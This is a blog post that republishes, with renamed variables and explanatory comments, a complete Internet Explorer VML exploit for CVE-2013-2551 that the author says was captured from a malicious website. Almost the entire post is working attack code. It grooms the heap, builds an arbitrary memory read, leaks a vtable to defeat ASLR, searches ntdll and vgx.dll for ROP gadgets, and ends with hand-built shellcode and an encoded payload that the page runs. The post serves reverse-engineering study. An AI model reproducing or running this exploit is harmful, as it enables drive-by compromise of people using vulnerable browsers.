CVE-2013-2551 Exploit

Lets give some meaningful name to variables/functions in CVE-2013-2551 Exploit. You should read this blog entry before reading the code here. Reading the VUPEN blog and understanding the exploit takes a lot of time. VUPEN is very brilliant with that exploit. So i decided to check the exploit and name some of the variables. I captured this exploit code from a malicious website. I have add some comments and done some string replacements.

Code:

<html>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
   “
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>

<head>
    <meta http-equiv=”X-UA-Compatible” content=”IE=EmulateIE9″>
    <style>
        v\:* {
            behavior: url(#default#VML);
            display: inline-block
        }
    </style>
</head>

<body></body>
<xml:namespace ns=’urn:schemas-microsoft-com:vml’ prefix=’v’>
    <v:oval>
        <v:stroke id=’strokeid1′></v:stroke>
    </v:oval>
    <v:oval>
        <v:stroke id=’strokeid2′></v:stroke>
    </v:oval>
</xml:namespace>
<script>
    shapeArray = [];
    vgRuntimeStyleArray = [];
    anchorRectArray = [];
    div_array = [];
    payload = null;
    tridentVersion = null;
    isIt32BitProcess = null;
    strokefirstobject = null;
    styleIndex = null;
    OriginalmarginLeftStringAddress = null;
    OriginalArrayLength = null;
    strokesecondobject = null;
    _vtable_address_leak2_ = null;
    _vtable_address_leak1_ = null;
    OriginalstrokesecondobjectdashstyleArrayLength = null;
    _gadget1_Addr = null;
    _gadget2_Addr = null;
    _gadget7_gadgen8_Addr = null;
    _gadget3_or_gadget4_addr = null;
    _gadget5_or_gadget6_addr = null;
    _gadget9_addr = null;

    function isSupportedBrowser() {
        var isIE, is64bit, is32bitWoW, userAgentStr, _Version;
        try {
            userAgentStr = navigator.userAgent.toLowerCase();
            isIE = /MSIE[\/\s]\d+/i.test(userAgentStr);
            is32bitWoW = /WOW64;/i.test(userAgentStr);
            is64bit = /Win64;/i.test(userAgentStr);
            _Version = /Trident\/(\d)/i.test(userAgentStr) ? parseInt(RegExp.$1) : null;
            if (!is64bit && isIE && _Version && (_Version == 6 || _Version == 5 || _Version == 4)) {
                tridentVersion = _Version;
                isIt32BitProcess = is32bitWoW;
                console.log(“tridentVersion           = ” + tridentVersion);
                console.log(“isIt32BitProcess         = ” + isIt32BitProcess);
                return true
            }
        } catch (exc) {}
        return false
    }

    function isString1EndswithString2(_string1, _string2, _is_it_fullstringmatch) {
        var u;
        if (_string1.length < _string2.length) {
            return -1
        }
        if (_is_it_fullstringmatch) {
            if (_string1.substr(_string1.charCodeAt(0) == 0 ? 1 : 0, _string2.length) == _string2) {
                return 0
            }
        } else {
            u = _string1.length – _string2.length;
            if (_string1.charCodeAt(_string1.length – 1) == 0) {
                u++
            }
            if (_string1.substr(u, _string2.length) == _string2) {
                return u
            }
        }
        return -1
    }

    function String2HexStream(j) {
        // if String1 is of size 2 then String2 is of size 4.
        // 0xDE 0xAD 0xBA 0xCC – Binary stream
        var g, m, t;
        t = ”;
        for (m = 0; m < j.length; m++) {
            g = j.charCodeAt(m);
            t += String.fromCharCode(g & 0xff);
            t += String.fromCharCode((g & 0xff00) >> 8)
        }
        // 0xDE 0x00 0xAD 0x00 0xBA 0x00 0xCC 0x00
        return t
    }

    function _Javascript_EscapeME(p) {
        var r, j;
        r = ”;
        if (p.length % 2) {
            p += unescape(‘%00’)
        }
        for (j = 0; j < p.length; j += 2) {
            r += ‘%u’;
            r += Convert2Hex(p.charCodeAt(j + 1), 2);
            r += Convert2Hex(p.charCodeAt(j), 2)
        }
        return r
    }
    function PrintMe(bufferOrString)
    {
        var r = ”;
        var first, second;
        for (j = 0; j < bufferOrString.length; j += 1) {
            first= bufferOrString.charCodeAt(j) & 0xFF;
            second= (bufferOrString.charCodeAt(j) & 0xFF00) >> 8;
            r += Convert2Hex(((first << 8) | second), 4);
        }
        console.log(“Converted String: “+ r);
    }

    function retAddress(_address) {
        console.log(“Converted Unicode string: ” + Number2UnicodeEncode(_address));
        PrintMe(String2HexStream(unescape(Number2UnicodeEncode(_address))));
        return String2HexStream(unescape(Number2UnicodeEncode(_address)))
    }

    function Number2UnicodeEncode(v) {
        // v= 0xDEADCDEF
        var j, k;
        k = v & 0xFFFF; // k= 0xCDEF
        j = (v >> 16) & 0xFFFF; // j= 0xDEAD
        return ‘%u’ + Convert2Hex(k, 4) + ‘%u’ + Convert2Hex(j, 4) // %uCDEF%uDEAD
    }

    // change the string pointer and read the string.
    function ReadString(stringAddress) {
        strokefirstobject.dashstyle.array.item(0x44) = stringAddress;
        return vgRuntimeStyleArray[styleIndex].marginLeft
    }

    // return _value as a Hex string of size stringSize
    function Convert2Hex(_value, stringSize) {
        var hexString;
        hexString = _value.toString(16);
        while (hexString.length < stringSize) {
            hexString = ‘0’ + hexString
        }
        return hexString
    }
    // String2Int(string)
    //       if string is of length 1  then read SHORT value
    //       if string is of length >1 then read INT32 value
    function String2Int(u) {
        // u= ‘0xDE 0xAD 0xBA 0xCC’ I/P
        // u= ‘0xDE 0xAD’ I/P
        var hexString;
        hexString = ”;
        if (u.length > 1) {
            // Two bytes are read here. All are unicode strings.
            hexString = Convert2Hex(u.charCodeAt(1), 4) + Convert2Hex(u.charCodeAt(0), 4)
        } else {
            // Two bytes are read here. All are unicode strings.
            hexString = Convert2Hex(u.charCodeAt(0), 4)
        }
        // 0xCCBAADDE O/P
        // 0xADDE O/P
        return parseInt(hexString, 16)
    }

    function ReadAddressValue(_address) {
        var _returned_String, _returned_value, _index;
        for (_index = 0; _index < 3; _index++) {
            _returned_String = ReadString(_address + _index);
            if (_returned_String) {
                _returned_value = String2Int(_returned_String);
                _returned_value <<= _index * 8;
                return _returned_value
            }
        }
        return 0
    }
    /*
        +0x264 NtProductType      : _NT_PRODUCT_TYPE
        +0x268 ProductTypeIsValid : UChar
        +0x26c NtMajorVersion     : Uint4B
        +0x270 NtMinorVersion     : Uint4B
    */
    function getSupportedOSType() {
        var _NtMinorVersion, _NtProductType, _NtMajorVersion, _ProductTypeIsValid;
        _ProductTypeIsValid = ReadAddressValue(0x7ffe0268) & 0x0f;
        _NtProductType = _ProductTypeIsValid ? ReadAddressValue(0x7ffe0264) : null;
        _NtMajorVersion = ReadAddressValue(0x7ffe026c);
        _NtMinorVersion = ReadAddressValue(0x7ffe0270);
        if (_NtMajorVersion == 5 && (_NtMinorVersion == 1 || _NtMinorVersion == 2) && _NtProductType == 1) {
            return 1
        } else if (_NtMajorVersion == 6 && _NtMinorVersion == 0 && _NtProductType == 1) {
            return 2
        } else if (_NtMajorVersion == 6 && _NtMinorVersion == 1 && _NtProductType == 1) {
            return 3
        } else {
            return 0
        }
    }

    function return_SharedData_Addr_KiFastSystemCall_Addr() {
        return isIt32BitProcess ? ReadAddressValue(0x7ffe0340) : ReadAddressValue(0x7ffe0300)
    }

    function retModulestartAndEndAddr(_address) {
        var _PE_start_addr, SizeOfCode, BaseOfCode, _modules_start_address;
        _modules_start_address = null;
        if (_address) {
            _address &= 0xffff0000;
            while (1) {
                if ((ReadAddressValue(_address) & 0xffff) == 0x5a4d) { // MZ (some binary) in this exploit ntdll.dll and vgx.dll
                    console.log(“Current exe/dll start address           = 0x” + _address.toString(16));
                    _modules_start_address = _address;
                    break
                }
                _address -= 0x10000
            }
            if (_modules_start_address) {
                _PE_start_addr = _modules_start_address + ReadAddressValue(_modules_start_address + 0x3c);
                if (ReadAddressValue(_PE_start_addr) == 0x4550) {          // PE (offset 0xD8)
                    SizeOfCode = ReadAddressValue(_PE_start_addr + 0x1c);  // 0xD8+0x1C= 0xF4  // SizeOfCode
                    BaseOfCode = ReadAddressValue(_PE_start_addr + 0x2c);  // 0xD8+0x2C= 0x104 // BaseOfCode
                    if (SizeOfCode && BaseOfCode) {
                        console.log(“Module SizeOfCode            = 0x” + SizeOfCode.toString(16));
                        console.log(“Module BaseOfCode            = 0x” + BaseOfCode.toString(16));
                        console.log(“Module Module_CodeStartAddr  = 0x” + (_modules_start_address + BaseOfCode).toString(16));
                        console.log(“Module Module_CodeEndAddr    = 0x” + (_modules_start_address + BaseOfCode + SizeOfCode).toString(16));
                        return {
                            Module_CodeStartAddr: _modules_start_address + BaseOfCode,
                            Module_CodeEndAddr: _modules_start_address + BaseOfCode + SizeOfCode
                        }
                    }
                }
            }
        }
        return null
    }

    function LeakAndFindStringAddress() {
        var index, index, index;
        // Creating 0x400 shape objects
        for (index = 0; index < 0x400; index++) {
            shapeArray[index] = document.createElement(‘v:shape’);
            document.body.appendChild(shapeArray[index])
        }
        strokefirstobject = document.getElementById(‘strokeid1’);
        for (index = 0; index < 0x400; index++) {
            // _vgRuntimeStyle attribute which is handled by COARuntimeStyle (
            // object carries a pointer to an arbitrary string at offset 0x58.)
            vgRuntimeStyleArray[index] = shapeArray[index]._vgRuntimeStyle
        }
        /*
        Disassembling “COARuntimeStyle::get_marginLeft()” and “COARuntimeStyle::put_marginLeft()”
        for instance shows that the object carries a pointer to an arbitrary string at offset 0x58.
        .text:1008EAB5 COARuntimeStyle::get_marginLeft(unsigned short * *)
        …
        .text:1008EB05 mov ecx, [eax+58h]
        .text:1008EB08 test ecx, ecx
        .text:1008EB0A jz short loc_1008EB1A
        .text:1008EB0C push ecx
        .text:1008EB0D call SysAllocString(x)                     //read the string at offset 0x58 (its a wchar_t*, that is more important here)
        .text:1008EB13 mov ecx, [ebp+arg_4]
        .text:1008EB16 mov [ecx], eax
        Reversing VML a bit more shows that these COARuntimeStyle objects are actually
        created by “CParserTag::GetRTSInfo()” and need 0xAC bytes.
        Allocating an ORG array of 44 items (44 * 4 = 0xB0) will thus place the
        vulnerable buffer in the middle of COARuntimeStyle objects.
        */
        for (index = 0; index < 0x400; index++) {
            vgRuntimeStyleArray[index].rotation;    // Creates a COARuntimeStyle (0xAC bytes)
            if (index == 0x300) {
                // ORG array precedes a COARuntimeStyle
                // Allocate an ORG array of size 0xB0h (44 itesms * 4)= 0xB0
                // This will insert the object between array element 0x300 and 0x301
                strokefirstobject.dashstyle = ‘1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44’
            }
        }
        OriginalArrayLength = strokefirstobject.dashstyle.array.length;
        try {
            // Lets manipulate the array length field. So that we can read beyond the original array size.
            strokefirstobject.dashstyle.array.length = 0 – 1
            console.log(“Array length of strokefirstobject (after fixing)= ” + strokefirstobject.dashstyle.array.length);
        } catch (exc) {
            return false
        }
        for (index = 0; index < 0x400; index++) {
            vgRuntimeStyleArray[index].marginLeft = ‘a’; // Triggering the string initialization.
            // strokefirstobject is 44*4 bytes (43 index== 0x2B). 0x58/4= 0x16. 0x2B+0x16= 0x41 (close to 0x44)
            address = strokefirstobject.dashstyle.array.item(0x44);
            if (address > 0) {
                console.log(“Leaked String Address                      = 0x” + address.toString(16));
                console.log(“Leaked String of vgRuntimeStyleArray, index= ” + index.toString(16));
                OriginalmarginLeftStringAddress = address;
                styleIndex = index;
                return true
            }
        }
        return false
    }

    function FixFirstStrokeObject() {
        if (strokefirstobject) {
            console.log(“Fix first stroke object.”);
            if (OriginalmarginLeftStringAddress) {
                strokefirstobject.dashstyle.array.item(0x44) = OriginalmarginLeftStringAddress
            }
            strokefirstobject.dashstyle.array.length = OriginalArrayLength
        }
    }

    function FindGadgetAddresses_1() {
        var seen_gadget3_and_gadget5, _gadget5, _read_string, _gadget1, tmp_index, _gadget5_Addr, _supportedOSType, _gadget3_Addr, _address, _gadget4_Addr, seen_gadget4_and_gadget6, _gadget7_addr, _ntdll_code_string, KiFastSystemCall_Addr, _gadget8,
            _ntdll_startinfo, _gadget2, _gadget6_Addr, _gadget7, ntdll_CodeEndAddr, _gadget4, _gadget6, _gadget3;
        _supportedOSType = getSupportedOSType();
        if (_supportedOSType == 0) {
            return
        }
        KiFastSystemCall_Addr = return_SharedData_Addr_KiFastSystemCall_Addr();
        if (!KiFastSystemCall_Addr) {
            return
        }
        _ntdll_startinfo = retModulestartAndEndAddr(KiFastSystemCall_Addr);
        if (!_ntdll_startinfo) {
            return
        }
        // _gadget1= 0x94 0x00 0xc3 0x00
        _gadget1 = unescape(‘%94%c3’);       // xchg eax,esp; ret;
        _gadget2 = unescape(‘%5a%c3’);       // pop edx;      ret;
        _gadget3 = unescape(‘%ff%06%c3’);    // inc [esi];    ret;
        _gadget4 = unescape(‘%ff%07%c3’);    // inc [edi];    ret;
        _gadget5 = unescape(‘%5e%c3’);       // pop esi;      ret;
        _gadget6 = unescape(‘%5f%c3’);       // pop edi;      ret;
        _gadget7 = null;
        _gadget8 = null;
        if (isIt32BitProcess) {
            _gadget7 = unescape(‘%b8%4d’);
            _gadget8 = unescape(‘%33%c9%8d%54%24%04%64%ff%15%c0’)  // push esp; and al,0x4; call fs:[0xc0];
        } else {
            if (_supportedOSType == 1) {
                _gadget7 = unescape(‘%b8%89’)
            } else if (_supportedOSType == 2) {
                _gadget7 = unescape(‘%b8%d2’)
            } else if (_supportedOSType == 3) {
                _gadget7 = unescape(‘%b8%d7’)
            }
            _gadget8 = unescape(‘%ba%00%03%fe%7f%ff%12%c2%14’) // mov edx,0x7ffe0300; call [edx]; retn 0x14
        }
        _gadget3_Addr = null;
        _gadget4_Addr = null;
        _gadget5_Addr = null;
        _gadget6_Addr = null;
        _gadget7_addr = null;
        _address = _ntdll_startinfo.Module_CodeStartAddr;
        ntdll_CodeEndAddr = _ntdll_startinfo.Module_CodeEndAddr;
        while (_address < ntdll_CodeEndAddr) {
            _read_string = ReadString(_address);
            if (_read_string) {
                tmp_index = null;
                _ntdll_code_string = String2HexStream(_read_string);
                if (!_gadget7_gadgen8_Addr && (_gadget7_addr || (tmp_index = isString1EndswithString2(_ntdll_code_string, _gadget7, false)) != -1)) { // end match
                    if (!_gadget7_addr) {
                        _gadget7_addr = _address + tmp_index;
                    } else if (isString1EndswithString2(_ntdll_code_string, _gadget8, true) != -1) { // Full match
                        _gadget7_gadgen8_Addr = _gadget7_addr;
                        console.log(“_gadget7_gadgen8_Addr address           = 0x” + _gadget7_gadgen8_Addr.toString(16));
                    } else {
                        _gadget7_addr = null
                    }
                }
                if (!_gadget1_Addr && (tmp_index = _ntdll_code_string.indexOf(_gadget1)) != -1) {
                    _gadget1_Addr = _address + tmp_index;
                    console.log(“_gadget1_Addr address           = 0x” + _gadget1_Addr.toString(16));
                }
                if (!_gadget2_Addr && (tmp_index = _ntdll_code_string.indexOf(_gadget2)) != -1) {
                    _gadget2_Addr = _address + tmp_index;
                    console.log(“_gadget2_Addr address           = 0x” + _gadget2_Addr.toString(16));
                }
                seen_gadget3_and_gadget5 = (_gadget3_Addr && _gadget5_Addr);
                seen_gadget4_and_gadget6 = (_gadget4_Addr && _gadget6_Addr);
                if (!seen_gadget3_and_gadget5) {
                    if (!_gadget3_Addr && (tmp_index = _ntdll_code_string.indexOf(_gadget3)) != -1) {
                        _gadget3_Addr = _address + tmp_index;
                        console.log(“_gadget3_Addr address           = 0x” + _gadget3_Addr.toString(16));
                    }
                    if (!_gadget5_Addr && (tmp_index = _ntdll_code_string.indexOf(_gadget5)) != -1) {
                        _gadget5_Addr = _address + tmp_index;
                        console.log(“_gadget5_Addr address           = 0x” + _gadget5_Addr.toString(16));
                    }
                }
                if (!seen_gadget4_and_gadget6) {
                    if (!_gadget4_Addr && (tmp_index = _ntdll_code_string.indexOf(_gadget4)) != -1) {
                        _gadget4_Addr = _address + tmp_index;
                        console.log(“_gadget4_Addr address           = 0x” + _gadget4_Addr.toString(16));
                    }
                    if (!_gadget6_Addr && (tmp_index = _ntdll_code_string.indexOf(_gadget6)) != -1) {
                        _gadget6_Addr = _address + tmp_index;
                        console.log(“_gadget6_Addr address           = 0x” + _gadget6_Addr.toString(16));
                    }
                }
                if (_gadget1_Addr && _gadget2_Addr && _gadget7_gadgen8_Addr && (seen_gadget3_and_gadget5 || seen_gadget4_and_gadget6)) {
                    break
                }
                _address += _ntdll_code_string.length
            }
            _address += 2
        }
        if (seen_gadget3_and_gadget5 || seen_gadget4_and_gadget6) {
            if (seen_gadget3_and_gadget5) {
                _gadget3_or_gadget4_addr = _gadget3_Addr;
                _gadget5_or_gadget6_addr = _gadget5_Addr;
            } else {
                _gadget3_or_gadget4_addr = _gadget4_Addr;
                _gadget5_or_gadget6_addr = _gadget6_Addr;
            }
            console.log(“_gadget3_or_gadget4_addr address           = 0x” + _gadget3_or_gadget4_addr.toString(16));
            console.log(“_gadget5_or_gadget6_addr address           = 0x” + _gadget5_or_gadget6_addr.toString(16));
        }
        return (_gadget1_Addr && _gadget2_Addr && _gadget7_gadgen8_Addr && _gadget3_or_gadget4_addr && _gadget5_or_gadget6_addr)
    }

    /*
    There are various ways to exploit this vulnerability, and perhaps the easiest one consists in
    placing the malicious array right before a vTable to first disclose a pointer in the DLL and
    overwrite later this pointer to gain code execution.
    Disassembling the “COAShape::get__anchorRect()” function shows that each time the _anchorRect
    property is read, a COAReturnedPointsForAnchor object is allocated and returned to JavaScript.
    First create a large array and fill it with these COAReturnedPointsForAnchor objects. Insert
    next a DashStyle array of 4 elements in the middle of the heap and trigger the vulnerability
    to disclose the vTable and bypass HiASLR.
    */
    function LeakAndFindvTableAddress() {
        var dashstyle_array_length, n, o, w;
        strokesecondobject = document.getElementById(‘strokeid2’);
        for (w = 0; w < 0x400; w++) {
            anchorRectArray[w] = shapeArray[w]._anchorRect;
            if (w == 0x300) {
                strokesecondobject.dashstyle = ‘1 2 3 4’
            }
        }
        dashstyle_array_length = strokesecondobject.dashstyle.array.length;
        try {
            strokesecondobject.dashstyle.array.length = 0 – 1
        } catch (exc) {
            return null
        }
        n = strokesecondobject.dashstyle.array.item(6);
        o = strokesecondobject.dashstyle.array.item(7);
        if (n > 0 && o > 0 && strokesecondobject.dashstyle.array.item(8) == 1) {
            _vtable_address_leak2_ = n;
            _vtable_address_leak1_ = o;
            OriginalstrokesecondobjectdashstyleArrayLength = dashstyle_array_length;
            console.log(“_vtable_address_leak2_            = 0x” + _vtable_address_leak2_.toString(16));
            console.log(“_vtable_address_leak1_            = 0x” + _vtable_address_leak1_.toString(16));
            console.log(“OriginalstrokesecondobjectdashstyleArrayLength            = ” + OriginalstrokesecondobjectdashstyleArrayLength);
            return true
        }
        strokesecondobject.dashstyle.array.length = length;
        return false
    }

    function FixSecondStrokeObject() {
        if (strokesecondobject && _vtable_address_leak1_ && OriginalstrokesecondobjectdashstyleArrayLength) {
            console.log(“Fix second stroke object.”);
            strokesecondobject.dashstyle.array.item(7) = _vtable_address_leak1_;
            strokesecondobject.dashstyle.array.length = OriginalstrokesecondobjectdashstyleArrayLength
        }
    }

    function FindGadgetAddress_2() {
        var _gadget9, _vgx_CodeEndAddr, _executable_code_info, _code_string, _tmp_index, _code_string2, _address;
        _executable_code_info = retModulestartAndEndAddr(_vtable_address_leak2_);
        if (!_executable_code_info) {
            return false
        }
        _gadget9 = unescape(‘%8b%01%ff%50%04’); // mov eax,[ecx]; call [eax+0x4];
        _address = _executable_code_info.Module_CodeStartAddr;
        _vgx_CodeEndAddr = _executable_code_info.Module_CodeEndAddr;
        while (_address < _vgx_CodeEndAddr) {
            _code_string = ReadString(_address);
            if (_code_string) {
                _tmp_index = null;
                _code_string2 = String2HexStream(_code_string);
                if ((_tmp_index = _code_string2.indexOf(_gadget9)) != -1) {
                    _gadget9_addr = _address + _tmp_index;
                    console.log(“_gadget9_addr address           = 0x” + _gadget9_addr.toString(16));
                    return true
                }
                _address += _code_string2.length
            }
            _address += 2
        }
        return false
    }

    // returns large string of format: ABABABABABAB…..XXX
    function CreateLargeStringBuffer() {
        var l;
        l = ‘AB’;
        while (l.length < 0x40000) {
            l += l
        }
        return l.substring(0, 0x3FFED) + ‘XXX’
    }

    function returnShellcode() {
        var d, v, c;
        c = tridentVersion == 6 ? ‘%8d%76%04’ : ‘%90%90%90’; // lea esi,[esi+0x4] or nop;nop;nop;
        v = tridentVersion == 6 ? ‘%f8’ : ‘%fc’;
        d = tridentVersion == 6 ? ‘%f0’ : ‘%f4’;
        //_encoded= ‘%eb%1f%60%8b%44%24%20%ff%d0%61%8b%75%08’ + c + ‘%c7%06’ + retAddress(_vtable_address_leak1_) + ‘%8d%65’ + v + ‘%8b%45’ + d + ‘%83%e8%08%ff%e0%e8%dc%ff%ff%ff’;
        //console.log(“Encoded Shellcode           = ” + _encoded);
        return unescape(‘%eb%1f%60%8b%44%24%20%ff%d0%61%8b%75%08’ + c + ‘%c7%06’ + retAddress(_vtable_address_leak1_) + ‘%8d%65’ + v + ‘%8b%45’ + d + ‘%83%e8%08%ff%e0%e8%dc%ff%ff%ff’)
        //        jmp unk_21                              // 0xeb 0x1f
        // unk_FFFFFFE6:
        //        pusha                                   // 0x60
        //        mov eax,[esp+0x20]                      // 0x8b 0x44 0x24 0x20
        //        call eax                                // 0xff 0xd0
        //        popa                                    // 0x61
        //        mov esi,[ebp+0x8]                       // 0x8b 0x75 0x08
        //        lea esi,[esi+0x4]   or nop;nop;nop;     // 0x8d 0x76 0x04 or  0x90 0x90 0x90
        //        mov dword [esi],$_vtable_address_leak1_ // 0xc7 0x06 0xXX 0xXX 0xXX 0xXX
        //        lea esp,[ebp-0x8]   or lea esp,[ebp-0x4]// 0x8d 0x65 0xf8 or 0x8d 0x65 0xfc
        //        mov eax,[ebp-0x10]  or mov eax,[ebp-0xc]// 0x8b 0x45 0xf0 or 0x8b 0x45 0xf4
        //        sub eax,0x8                             // 0x83 0xe8 0x08
        //        jmp eax                                 // 0xff 0xe0
        // unk_21:
        //        call unk_FFFFFFE6                       // 0xe8 0xdc 0xff 0xff 0xff
    }

    function retShellcodeStartAddress() {
        var _escaped_payload, _stringAddressAfterExpansion, _full_shellcode, _shellcode, _large_string, _endofStringBuffer, _stringAddressBeforeExpansion, _index;
        strokefirstobject.dashstyle.array.item(0x44) = OriginalmarginLeftStringAddress;
        _large_string = CreateLargeStringBuffer();
        _shellcode = returnShellcode();
        //PrintMe(_shellcode);
        _escaped_payload = _Javascript_EscapeME(payload);
        for (_index = 0; _index < 7; _index++) {
            vgRuntimeStyleArray[styleIndex].marginLeft = _large_string;
            OriginalmarginLeftStringAddress = strokefirstobject.dashstyle.array.item(0x44);
            _stringAddressBeforeExpansion = OriginalmarginLeftStringAddress;
            _endofStringBuffer = _stringAddressBeforeExpansion + _large_string.length * 2;
            _full_shellcode = unescape(
                                        Number2UnicodeEncode(_endofStringBuffer + 4) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x0c) +
                                        Number2UnicodeEncode(_gadget9_addr) +
                                        Number2UnicodeEncode(_gadget2_Addr) +
                                        Number2UnicodeEncode(_gadget1_Addr) +
                                        Number2UnicodeEncode(_gadget5_or_gadget6_addr) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x41) +
                                        Number2UnicodeEncode(_gadget3_or_gadget4_addr) +
                                        Number2UnicodeEncode(_gadget5_or_gadget6_addr) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x4e) +
                                        Number2UnicodeEncode(_gadget3_or_gadget4_addr) +
                                        Number2UnicodeEncode(_gadget7_gadgen8_Addr) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x54) +
                                        Number2UnicodeEncode(0xffffffff) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x48) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x4c) +
                                        Number2UnicodeEncode(0xffffff40) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x4F) +
                                        Number2UnicodeEncode(_endofStringBuffer + 0x54) +
                                        Number2UnicodeEncode(0xffff0400) +
                                        Number2UnicodeEncode(0x41414141) +
                                        _Javascript_EscapeME(_shellcode) +
                                        _escaped_payload
                                      );
            vgRuntimeStyleArray[styleIndex].marginLeft += _full_shellcode;
            _stringAddressAfterExpansion = strokefirstobject.dashstyle.array.item(0x44);
            if (_stringAddressBeforeExpansion == _stringAddressAfterExpansion) {
                return _endofStringBuffer
            }
        }
        return null
    }

    function exploitme() {
        var index, _shellcode_start_addr;
        if (!isSupportedBrowser()) {
            return
        }

        if (!LeakAndFindStringAddress()) {
            return
        }
        if (!FindGadgetAddresses_1()) {
            return
        }
        if (!LeakAndFindvTableAddress()) {
            return
        }
        if (!FindGadgetAddress_2()) {
            return
        }
        _shellcode_start_addr = retShellcodeStartAddress();
        if (!_shellcode_start_addr) {
            return
        }
        // replaced vTable Pointer.
        strokesecondobject.dashstyle.array.item(7) = _shellcode_start_addr;
        for (index = 0; index < 0x400; index++) {
            div_array[index] = document.createElement(‘div’);
            div_array[index].classname = anchorRectArray[index]
        }
        return
    }

    function exploitAndFix(_payload) {
        payload = _payload;
        exploitme();
        FixFirstStrokeObject();
        FixSecondStrokeObject();
        return
    };

j =’PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLYxlbEPC0C0′ +
   ‘e0k9hedqhR3TNkf2TplKPRflLKsbGdlKsBTh2rLK2rb0NkPBelNkW47rqhmUO0RTW8C1’ +
   ‘Jp0PnkbhTXlKaH10fazsyswJRiNkTtnk31HVtqKO4qo0LlNdYPadGwKqzotM6aJgxkXt7’ +
   ‘K3MddbU9spXlK0XwTFaJsU6lKVlRknkPX7lc1hSnkVdlKeQHPniw4gTup2zqqPYaJV1KO’ +
   ‘IprxRzNkvrXkoQ0jG00h5PfpC0EPe8uP4DS0c00j302HsdIZLoJ1YoZuySk9HHo1hiC29’ +
   ‘boUnhzaopM1FcXrnDO3dqO060V0v1Rsrp58wFfztoRPYoYEksSmU8rOpnS05P2HcE1bplBM’ +
   ‘F4PhLNrndN8lioyEm8oD9oioYobpRpbHC4C1EPEP1xgCJjNj1KKOXU2pnkBTFDs4wqo6h0pe’ +
   ‘LHwvSv806NNhwvqVh0rDoxs63vlp2LLHC6w6x00loxc6rfH0WplHffxkr6NkpLfD4HnkGlwT61’ + ‘9xJ8KOioyoQxnnPNdNhl9oN5JKQ1ZHyuKOYo9ophRT1dbPFZFOvOdq04uddnwG5fFNEcFV4ngFGG’ +
   ‘GJp8vPfXP3FO0dPdWp68bx68qHRxchJcAA’;

exploitAndFix(j);
</script>
</html>

 

Advertisements
This entry was posted in Exploit and tagged , . Bookmark the permalink.

3 Responses to CVE-2013-2551 Exploit

  1. Pingback: Digging deep into Angler Fileless Exploit delivery | Source Code Auditing, Reversing, Web Security

  2. renil says:

    Is this exploit code about cve-2013-2551?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s